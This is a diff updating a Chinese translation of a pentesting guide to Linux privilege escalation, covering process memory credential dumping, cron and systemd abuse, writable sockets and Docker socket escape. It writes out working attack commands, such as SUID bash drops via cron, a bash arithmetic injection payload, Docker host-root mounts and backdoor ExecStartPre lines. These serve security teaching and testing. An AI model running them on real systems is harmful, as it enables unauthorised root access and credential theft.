+另外**检查你对进程二进制文件的权限**,也许你可以覆盖别人的文件。
-### Process monitoring
+### 进程监控
-You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.
+你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这样在识别频繁执行的或在满足特定条件时运行的易受攻击进程时非常有用。
-### Process memory
+### 进程内存
-服务器上的某些服务会在内存中以明文保存 **凭证**。\
-通常你需要 **root privileges** 来读取属于其他用户的进程内存,因此这通常在你已获得 root 时更有用,用来发现更多凭证。\
-但是,记住 **作为普通用户你可以读取你所拥有进程的内存**。
+某些服务会将 **credentials in clear text inside the memory** 保存在内存中。\
+通常你需要 **root privileges** 来读取属于其他用户的进程内存,因此这通常在你已经是 root 时更有用,用来发现更多凭据。\
+不过,记住 **as a regular user you can read the memory of the processes you own**。
> [!WARNING]
> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user.
@@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-对于给定的进程 ID,**maps 显示该进程的内存在其虚拟地址空间中如何映射**;它还显示**每个映射区域的权限**。伪文件 **mem** 会**暴露进程的内存本身**。通过 **maps** 文件我们可以知道哪些**内存区域是可读的**及其偏移。我们使用这些信息**在 mem 文件中定位并将所有可读区域转储到一个文件中**。
+对于给定的进程 ID,**maps 显示该进程虚拟地址空间中内存的映射方式**;它还显示**每个映射区域的权限**。伪文件 **mem** **暴露了进程的内存本身**。从 **maps** 文件我们知道哪些 **内存区域是可读的** 以及它们的偏移。我们使用这些信息来**seek 到 mem 文件并转储所有可读区域**到一个文件。
```bash
procdump()
(
@@ -231,13 +231,13 @@ rm $1*.bin
#### /dev/mem
`/dev/mem` 提供对系统的 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\
-通常,`/dev/mem` 只有 **root** 和 **kmem** 组可读。
+通常,`/dev/mem` 只能被 **root** 和 **kmem** 组读取。
```
strings /dev/mem -n10 | grep -i PASS
```
-### ProcDump 适用于 Linux
+### ProcDump for linux
-ProcDump 是对来自 Sysinternals 套件中用于 Windows 的经典 ProcDump 工具在 Linux 上的重新实现。可从 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取。
+ProcDump 是对来自 Sysinternals 套件中用于 Windows 的经典 ProcDump 工具在 Linux 上的重新构想。获取: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@@ -269,10 +269,10 @@ Press Ctrl-C to end monitoring without terminating the process.
要转储进程内存,你可以使用:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
-- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并转储你拥有的进程
+- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并转储由你拥有的进程
- Script A.5 来自 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root)
-### 来自进程内存的凭据
+### 进程内存中的凭据
#### 手动示例
@@ -281,23 +281,23 @@ Press Ctrl-C to end monitoring without terminating the process.
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
-你可以 dump the process(参见前面的章节,了解不同的方法来 dump the memory of a process),并在 memory 中搜索 credentials:
+你可以 dump 进程(参见前面的章节以了解 dump 进程内存的不同方法),并在内存中搜索凭证:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
-该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会 **窃取内存中的明文凭证** 并从一些 **已知文件** 中获取。它需要 root 权限才能正常工作。
+该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会 **从内存中窃取明文凭证** 并从一些 **已知文件** 中获取。它需要 root 权限才能正常工作。
-| 功能 | 进程名称 |
+| 功能 | 进程名称 |
| ------------------------------------------------- | -------------------- |
-| GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password |
+| GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
-| OpenSSH (Active SSH Sessions - 使用 sudo) | sshd: |
+| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
#### 搜索正则/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@@ -315,21 +315,21 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## 计划任务/Cron jobs
-### Crontab UI (alseambusher) 以 root 身份运行 – 基于 web 的调度器 privesc
+### Crontab UI (alseambusher) running as root – web-based scheduler privesc
-如果一个 web “Crontab UI” 面板 (alseambusher/crontab-ui) 以 root 身份运行并且仅绑定到 loopback,你仍然可以通过 SSH local port-forwarding 访问它并创建一个有特权的任务来进行提权。
+如果 web “Crontab UI” 面板 (alseambusher/crontab-ui) 以 root 身份运行并且只绑定到 loopback,仍然可以通过 SSH 本地端口转发访问它并创建特权任务以提升权限。
典型流程
-- 发现仅绑定到 loopback 的端口(例如 127.0.0.1:8000)以及 Basic-Auth realm,通过 `ss -ntlp` / `curl -v localhost:8000`
-- 在运维工件中查找凭据:
-- 备份/脚本(含 `zip -P `)
-- systemd unit 暴露出 `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
+- 发现仅绑定到 loopback 的端口(例如 127.0.0.1:8000)以及 Basic-Auth realm,使用 `ss -ntlp` / `curl -v localhost:8000`
+- 在运行时工件中查找凭据:
+ - 备份/脚本(使用 `zip -P `)
+ - systemd 单元暴露 `Environment="BASIC_AUTH_USER=..."`、`Environment="BASIC_AUTH_PWD=..."`
- 建立隧道并登录:
```bash
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
```
-- 创建一个 high-priv job 并立即运行 (drops SUID shell):
+- 创建一个高权限作业并立即运行(会生成 SUID shell):
```bash
# Name: escalate
# Command:
@@ -340,14 +340,12 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
/tmp/rootshell -p # root shell
```
加固
-- 不要以 root 身份运行 Crontab UI;应使用专用用户并授予最小权限
+- 不要以 root 身份运行 Crontab UI;将其限制为专用用户并授予最小权限
- 绑定到 localhost,并通过 firewall/VPN 进一步限制访问;不要重复使用密码
-- 避免在 unit files 中嵌入 secrets;使用 secret stores 或仅限 root 的 EnvironmentFile
-- 为按需作业执行启用 audit/logging
+- 避免在 unit files 中嵌入 secrets;使用 secret stores 或 root-only EnvironmentFile
+- 为 on-demand job executions 启用 audit/logging
-
-
-检查是否有任何计划任务存在漏洞。也许你可以利用由 root 执行的脚本(wildcard vuln?能否修改 root 使用的文件?使用 symlinks?在 root 使用的目录中创建特定文件?)
+检查是否有任何 scheduled job 存在漏洞。你可能可以利用由 root 执行的脚本(wildcard vuln?能否修改 root 使用的文件?使用 symlinks?在 root 使用的目录中创建特定文件?)
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@@ -357,24 +355,24 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
例如,在 _/etc/crontab_ 中你可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
-(_注意 user 用户对 /home/user 有写权限_)
+(_注意 user 用户对 /home/user 具有写权限_)
-如果在该 crontab 中,root 用户尝试在未设置 PATH 的情况下执行某个命令或脚本。例如: _\* \* \* \* root overwrite.sh_\
-然后,你可以通过使用:
+如果在该 crontab 中 root 用户尝试在未设置 PATH 的情况下执行某个命令或脚本。例如: _\* \* \* \* root overwrite.sh_\
+然后,你可以通过使用以下方式获得 root shell:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
-### Cron 使用带有通配符的脚本 (Wildcard Injection)
+### Cron 使用带通配符的脚本 (Wildcard Injection)
-如果一个被 root 执行的脚本在命令中包含 “**\***”,你可以利用它做出意想不到的事情(例如 privesc)。示例:
+如果脚本以 root 身份执行,并且命令中包含“**\***”,你可以利用这一点造成意外行为(例如 privesc)。示例:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
-**如果 the wildcard 前面是像** _**/some/path/\***_ **这样的路径, 则它不易被利用(即使** _**./\***_ **也不会)。**
+**如果通配符出现在像** _**/some/path/\***_ **这样的路径前面,则它不是易受攻击的(即使** _**./\***_ **也不是)。**
-阅读下列页面以获取更多 wildcard 利用技巧:
+阅读以下页面以获取更多通配符利用技巧:
{{#ref}}
@@ -382,11 +380,11 @@ wildcards-spare-tricks.md
{{#endref}}
-### Bash arithmetic expansion injection in cron log parsers
+### Bash 算术扩展注入(在 cron 日志解析器中)
-Bash 在 arithmetic evaluation 之前会执行 parameter expansion 和 command substitution(适用于 ((...)), $((...)) 和 let)。如果一个 root cron/parser 读取 untrusted 的日志字段并将它们放入 arithmetic context,攻击者就可以注入一个 command substitution $(...),在 cron 运行时以 root 身份执行。
+Bash 在 ((...))、$((...)) 和 let 中的算术求值之前,会先执行参数/变量扩展和命令替换。如果一个以 root 身份运行的 cron/parser 读取不受信任的日志字段并将其放入算术上下文,攻击者可以注入命令替换 $(...),当 cron 运行时该命令将在 root 权限下执行。
-- 为什么有效:在 Bash 中,扩展发生的顺序为:parameter/variable expansion、command substitution、arithmetic expansion,然后是 word splitting 和 pathname expansion。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换(运行命令),然后剩下的数字 `0` 会用于 arithmetic,因此脚本可以继续而不会报错。
+- 为什么它有效:在 Bash 中,扩展发生的顺序为:参数/变量扩展、命令替换、算术扩展,然后是单词拆分和路径名扩展。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换(运行命令),然后剩下的数字 `0` 用于算术运算,这样脚本可以继续而不会报错。
- 典型易受攻击的模式:
```bash
@@ -398,126 +396,126 @@ while IFS=',' read -r ts user count rest; do
done < /var/www/app/log/application.log
```
-- 利用方式:将 attacker-controlled 的文本写入被解析的日志,使看起来像数字的字段包含 command substitution 并以一个数字结尾。确保你的命令不要输出到 stdout(或将其重定向),以保持 arithmetic 有效。
+- 利用方式:让攻击者可控的文本写入被解析的日志,使得看起来像数字的字段包含命令替换并以一个数字结尾。确保你的命令不向 stdout 输出(或将其重定向),这样算术运算仍然有效。
```bash
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
```
-### Cron script overwriting and symlink
+### Cron 脚本覆盖与 symlink
-如果你 **can modify a cron script**(由 root 执行),就可以很容易获得一个 shell:
+如果你 **可以修改由 root 执行的 cron 脚本**,你可以非常容易地获得一个 shell:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-如果由 root 执行的 script 使用了一个 **directory where you have full access**,那么删除该 folder 并 **create a symlink folder to another one**(指向由你控制的 script)可能会很有用。
+如果由 root 执行的脚本使用一个 **你拥有完全访问权限的目录**,那么删除该文件夹并 **创建一个 symlink 文件夹,指向另一个由你控制的脚本所在的目录** 可能会很有用。
```bash
ln -d -s
```
### 频繁的 cron jobs
-你可以监控进程以查找每 1、2 或 5 分钟执行的进程。也许你可以利用它并 escalate privileges。
+你可以监视进程,查找每隔 1、2 或 5 分钟被执行的进程。也许你可以利用它来提权。
-例如,要 **在 1 分钟内每 0.1 秒监控一次**、**按执行次数最少排序** 并删除那些被执行次数最多的命令,可以这样做:
+例如,要 **在 1 分钟内每 0.1 秒监视一次**,**按执行次数最少排序** 并删除被执行次数最多的命令,可以执行:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
-**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (这将监视并列出每个启动的进程)。
+**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (这将监控并列出每个启动的进程)。
-### 不可见的 cron jobs
+### 隐形 cron jobs
-可以创建一个 cronjob **在注释后放置一个回车**(不带换行字符),cron job 仍然会生效。示例(注意回车字符):
+可以创建一个 cronjob,**在注释后放置回车字符**(不包含换行字符),cron job 仍会生效。示例(注意回车字符):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
-## Services
+## 服务
-### Writable _.service_ files
+### 可写的 _.service_ 文件
-检查是否可以写入任何 `.service` 文件,如果可以,你 **可以修改它** 以便它 **执行** 你的 **backdoor 在** 服务 **启动**、**重启** 或 **停止** 时(可能需要等到机器重启)。\
-例如在 `.service` 文件中创建你的 backdoor,使用 **`ExecStart=/tmp/script.sh`**
+检查是否可以写入任何 `.service` 文件,如果可以,您 **可以修改它**,以便它 **执行** 您的 **后门**,当服务 **启动**、**重启** 或 **停止** 时(可能需要等待机器重启)。\
+例如,在 .service 文件中创建后门,使用 **`ExecStart=/tmp/script.sh`**
-### Writable service binaries
+### 可写的 service 二进制文件
-请记住,如果你 **对被服务执行的二进制文件拥有写权限**,你可以将它们替换为 backdoor,这样当服务被重新执行时,backdoor 就会被执行。
+请记住,如果您对由服务执行的二进制文件拥有 **写权限**,您可以修改它们以植入后门,这样当服务被重新执行时,后门就会被执行。
-### systemd PATH - Relative Paths
+### systemd PATH - 相对路径
-你可以使用以下命令查看 **systemd** 使用的 PATH:
+您可以查看 **systemd** 使用的 PATH:
```bash
systemctl show-environment
```
-如果你发现可以在该路径的任何文件夹中**写入**,则可能能够**提权**。你需要搜索**在服务配置中使用的相对路径**文件,例如:
+如果你发现你可以在该路径的任意文件夹中**write**,你可能能够**escalate privileges**。你需要搜索在服务配置文件中使用的**相对路径**,例如:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
-然后,在你可以写入的 systemd PATH 文件夹中,创建一个可执行文件,其名称与相对路径二进制文件相同;当服务被要求执行易受利用的操作(**Start**, **Stop**, **Reload**)时,你的 backdoor 将被执行(非特权用户通常无法 start/stop 服务,但请检查是否可以使用 `sudo -l`)。
+然后,在你可写入的 systemd PATH 文件夹内创建一个与相对路径二进制文件同名的 **可执行文件**,当服务被要求执行易受攻击的动作(**Start**, **Stop**, **Reload**)时,你的 **后门将被执行**(非特权用户通常无法 start/stop 服务,但检查是否可以使用 `sudo -l`)。
**Learn more about services with `man systemd.service`.**
-## **计时器**
+## **Timers**
-计时器是 systemd unit 文件,其名称以 `**.timer**` 结尾,用于控制 `**.service**` 文件或事件。计时器可以作为 cron 的替代方案,因为它们内建对日历时间事件和单调时间事件的支持,并且可以异步运行。
+**Timers** 是 systemd 的 unit 文件,文件名以 `**.timer**` 结尾,用于控制 `**.service**` 文件或触发事件。**Timers** 可用作替代 cron 的方案,因为它们内建对日历时间事件和单调时间事件的支持,并且可以异步运行。
-你可以使用以下命令列举所有计时器:
+你可以枚举所有的 timers:
```bash
systemctl list-timers --all
```
-### 可写的定时器
+### 可写定时器
-如果你可以修改一个定时器,你可以让它执行 systemd.unit 的某些现有单元(比如 `.service` 或 `.target`)
+如果你可以修改一个定时器,就可以让它执行 systemd.unit 的某些现有单元(例如 `.service` 或 `.target`)
```bash
Unit=backdoor.service
```
-在文档中你可以看到 Unit 的定义:
+在文档中你可以看到 Unit 是什么:
-> 当这个 timer 到期时要激活的 unit。参数是一个 unit 名称,其后缀不是 ".timer"。如果未指定,该值默认指向一个与 timer unit 同名(除后缀外)的 service。(见上文。)建议被激活的 unit 名称与 timer unit 名称除后缀外保持一致。
+> 该 unit 会在此 timer 到期时被激活。参数是一个 unit 名称,其后缀不是 ".timer"。如果未指定,此值默认为一个 service,其名称与 timer unit 相同,仅后缀不同。(见上文。)建议被激活的 unit 名称和 timer unit 的 unit 名称应除后缀外保持一致。
-因此,要滥用此权限,你需要:
+因此,要滥用此权限你需要:
- 找到某个 systemd unit(例如 `.service`),它正在 **执行一个可写的二进制文件**
-- 找到某个 systemd unit,它正在 **执行一个相对路径**,并且你对 **systemd PATH** 拥有 **写权限**(以冒充该可执行文件)
+- 找到某个 systemd unit,它正在 **执行一个相对路径** 并且你对 **systemd PATH** 拥有 **可写权限**(以模拟该可执行文件)
**Learn more about timers with `man systemd.timer`.**
-### **启用计时器**
+### **启用定时器**
-要启用计时器,你需要 root 权限并执行:
+要启用定时器,你需要 root 权限并执行:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
-Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer`
+注意 **timer** 是通过在 `/etc/systemd/system/.wants/.timer` 上创建一个符号链接来被 **激活** 的。
-## Sockets
+## 套接字
-Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files.
+Unix Domain Sockets (UDS) 在客户端-服务器模型中允许在同一台或不同机器上的 **进程间通信**。它们使用标准的 Unix 描述符文件进行计算机间通信,并通过 `.socket` 文件来配置。
-Sockets can be configured using `.socket` files.
+Sockets 可以使用 `.socket` 文件进行配置。
-**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured:
+**通过 `man systemd.socket` 可以了解更多关于 sockets 的信息。** 在该文件中,可以配置多个有趣的参数:
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
-- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`.
-- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
-- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively.
-- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同,但总体上用于 **指示将在哪监听** 该 socket(AF_UNIX 套接字文件的路径、要监听的 IPv4/6 地址和/或端口号等)。
+- `Accept`: 接受一个布尔参数。如果为 **true**,则为每个传入连接生成一个**service instance**,并且只将连接 socket 传递给它。如果为 **false**,则所有监听 sockets 本身会**传递给启动的 service 单元**,并且对所有连接只启动一个 service 单元。对于 datagram sockets 和 FIFOs,此值被忽略,因为单个 service 单元会无条件地处理所有传入流量。**默认值为 false**。出于性能考虑,建议新守护进程仅以适合 `Accept=no` 的方式编写。
+- `ExecStartPre`, `ExecStartPost`: 接受一条或多条命令行,分别在监听的 **sockets**/FIFOs 被创建并绑定之前或之后**执行**。命令行的第一个词必须是绝对文件名,随后是进程的参数。
+- `ExecStopPre`, `ExecStopPost`: 在监听的 **sockets**/FIFOs 被**关闭**并移除之前或之后分别**执行**的附加 **命令**。
+- `Service`: 指定在有**传入流量**时要**激活**的 **service** 单元名称。此设置仅允许用于 Accept=no 的 socket。它默认指向与 socket 同名(替换后缀)的 service。通常情况下,使用此选项并非必要。
-### Writable .socket files
+### 可写的 .socket 文件
-如果你找到一个**可写的** `.socket` 文件,你可以在 `[Socket]` 区段的开头**添加**类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,backdoor 会在 socket 被创建之前执行。因此,你**可能需要等到机器重启**。\
-_Note that the system must be using that socket file configuration or the backdoor won't be executed_
+如果你发现一个**可写**的 `.socket` 文件,你可以在 `[Socket]` 段的开头**添加**诸如 `ExecStartPre=/home/kali/sys/backdoor` 的内容,此 backdoor 将在 socket 被创建之前执行。因此,你**可能需要等到机器重启。**\
+_注意系统必须正在使用该 socket 文件配置,否则 backdoor 不会被执行_
-### Writable sockets
+### 可写的 sockets
-如果你**发现任何可写的 socket**(_这里说的是 Unix Sockets,而不是配置 `.socket` 文件_),那么你**可以与该 socket 进行通信**,并可能利用某个漏洞。
+如果你**发现任何可写的 socket**(_这里指的是 Unix Sockets,而不是配置文件 `.socket`_),那么你就**可以与该 socket 通信**,并可能利用其中的漏洞。
-### Enumerate Unix Sockets
+### 枚举 Unix Sockets
```bash
netstat -a -p --unix
```
@@ -530,7 +528,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
```
-**利用示例:**
+**Exploitation example:**
{{#ref}}
@@ -539,48 +537,48 @@ socket-command-injection.md
### HTTP sockets
-注意可能有一些 **sockets listening for HTTP** 请求(_我并不是在说 .socket files,而是指充当 unix sockets 的那些文件_)。你可以使用以下命令检查:
+注意可能存在一些 **sockets listening for HTTP** requests (_我不是指 .socket files,而是作为 unix sockets 的文件_)。你可以用以下命令检查:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
-如果该 socket **对 HTTP 请求作出响应**,那么你可以**与其通信**,并有可能**利用某些漏洞**。
+如果该 socket **responds with an HTTP** request,那么你可以与其 **communicate**,并可能 **exploit** 某些漏洞。
### 可写的 Docker Socket
-Docker socket(通常位于 `/var/run/docker.sock`)是一个关键文件,应当加以保护。默认情况下,该文件对 `root` 用户及 `docker` 组的成员是可写的。对该 socket 拥有写权限可能导致权限提升。下面是如何利用该权限的分解步骤,以及在无法使用 Docker CLI 时的替代方法。
+The Docker socket,通常位于 `/var/run/docker.sock`,是一个关键文件,需要加以保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对该 socket 的写权限可能导致 privilege escalation。下面是如何利用这一点的分解,以及当 Docker CLI 不可用时的替代方法。
-#### **使用 Docker CLI 进行 权限提升**
+#### **Privilege Escalation with Docker CLI**
-如果你对 Docker socket 拥有写权限,你可以使用以下命令提升权限:
+如果你对 Docker socket 有写权限,你可以使用以下命令来 escalate privileges:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
-这些命令允许你运行一个容器,从而以 root 级别访问主机的文件系统。
+这些命令允许你运行一个 container,以 root 权限访问主机的文件系统。
#### **直接使用 Docker API**
-在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令来操作 Docker socket。
+在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令来操纵 Docker socket。
-1. **列出 Docker 镜像:** 获取可用镜像列表。
+1. **列出 Docker Images:** 检索可用 images 列表。
```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
-2. **创建容器:** 发送请求创建一个挂载主机根目录的容器。
+2. **创建一个 Container:** 发送请求以创建一个将主机根目录挂载进去的 container。
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
-启动新创建的容器:
+启动新创建的 container:
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start
```
-3. **附加到容器:** 使用 `socat` 与容器建立连接,从而在其中执行命令。
+3. **附着到 Container:** 使用 `socat` 建立到 container 的连接,从而在其中执行命令。
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@@ -590,29 +588,32 @@ Connection: Upgrade
Upgrade: tcp
```
-在建立好 `socat` 连接后,你可以直接在容器内执行命令,并以 root 权限访问主机文件系统。
+在建立 `socat` 连接后,你可以直接在 container 内执行命令,并以 root 权限访问主机的文件系统。
### 其他
-注意,如果你对 docker socket 有写权限,因为你 **属于 `docker` 组**,你有[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
+注意,如果你对 docker socket 有写权限,因为你**属于组 `docker`**,你有[**更多的提权方法**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口监听**,你也可能能够攻破它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
+
+在以下位置查看 **更多从 docker 逃逸或滥用它以提升权限的方法**:
-查看 **更多从 docker 逃逸或滥用它以提升权限的方法**:
{{#ref}}
docker-security/
{{#endref}}
-## Containerd (ctr) 权限提升
+## Containerd (ctr) 提权
+
+如果你发现自己可以使用 **`ctr`** 命令,请阅读以下页面,因为**你可能能够滥用它来提升权限**:
-如果你发现可以使用 **`ctr`** 命令,请阅读以下页面,因为**你可能能够滥用它以提升权限**:
{{#ref}}
containerd-ctr-privilege-escalation.md
{{#endref}}
-## **RunC** 权限提升
+## **RunC** 提权
+
+如果你发现自己可以使用 **`runc`** 命令,请阅读以下页面,因为**你可能能够滥用它来提升权限**:
-如果你发现可以使用 **`runc`** 命令,请阅读以下页面,因为**你可能能够滥用它以提升权限**:
{{#ref}}
runc-privilege-escalation.md
@@ -620,15 +621,15 @@ runc-privilege-escalation.md
## **D-Bus**
-D-Bus 是一个复杂的 **inter-Process Communication (IPC) 系统**,使得应用能够高效地交互和共享数据。它针对现代 Linux 系统设计,提供了一个强大的框架以支持各种应用间通信形式。
+D-Bus 是一个复杂的进程间通信 (IPC) 系统,允许应用程序高效地交互和共享数据。它为现代 Linux 系统设计,提供了一个用于不同形式应用通信的健壮框架。
-该系统功能多样,既支持增强进程间数据交换的基础 IPC(类似于增强版的 UNIX domain sockets),也支持广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth daemon 的来电信号可以促使音乐播放器静音,从而改善用户体验。此外,D-Bus 还支持远程对象系统,简化应用间的服务请求和方法调用,使传统上复杂的流程得以简化。
+该系统用途广泛,支持增强进程间数据交换的基本 IPC,类似于增强的 UNIX 域套接字。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth daemon 的来电信号可以促使音乐播放器静音,从而改善用户体验。D-Bus 还支持远程对象系统,简化应用之间的服务请求和方法调用,简化了传统上复杂的流程。
-D-Bus 采用 **allow/deny model**,根据匹配策略规则的累积效果来管理消息权限(方法调用、信号发送等)。这些策略指定了与 bus 的交互,可能会通过滥用这些权限导致权限提升。
+D-Bus 基于允许/拒绝模型运行,根据匹配策略规则的累积效果来管理消息权限(方法调用、信号发送等)。这些策略指定与 bus 的交互,可能通过利用这些权限导致提权。
-在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了这样的策略示例,详细说明了 root 用户对 `fi.w1.wpa_supplicant1` 的拥有、发送和接收消息的权限。
+在 /etc/dbus-1/system.d/wpa_supplicant.conf 中提供了此类策略的一个示例,详细说明了 root 用户拥有、发送和接收 fi.w1.wpa_supplicant1 的消息的权限。
-未指定用户或组的策略适用于所有主体,而标记为“default”的上下文策略适用于未被其他特定策略覆盖的所有对象。
+未指定用户或组的策略适用于所有人,而“default”上下文策略适用于未被其他特定策略覆盖的所有主体。
```xml
@@ -637,7 +638,7 @@ D-Bus 采用 **allow/deny model**,根据匹配策略规则的累积效果来
```
-**在此学习如何枚举并利用 D-Bus 通信:**
+**在这里了解如何 enumerate 和 exploit D-Bus communication:**
{{#ref}}
@@ -646,9 +647,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
## **网络**
-枚举网络并确定该主机的位置总是很有意义。
+对网络进行 enumerate 并确定主机的位置总是很有趣。
-### 通用枚举
+### 通用 enumeration
```bash
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
@@ -673,22 +674,22 @@ lsof -i
```
### 开放端口
-始终检查机器上运行的网络服务,尤其是那些在获得访问权限之前无法与之交互的服务:
+始终检查在你获得访问权限后,之前无法与之交互的机器上运行的网络服务:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
-检查是否可以 sniff traffic。如果可以,你可能能够获取一些凭证。
+检查你是否可以嗅探流量。如果可以,你可能能够抓取一些凭证。
```
timeout 1 tcpdump
```
-## 用户
+## Users
-### 通用枚举
+### Generic Enumeration
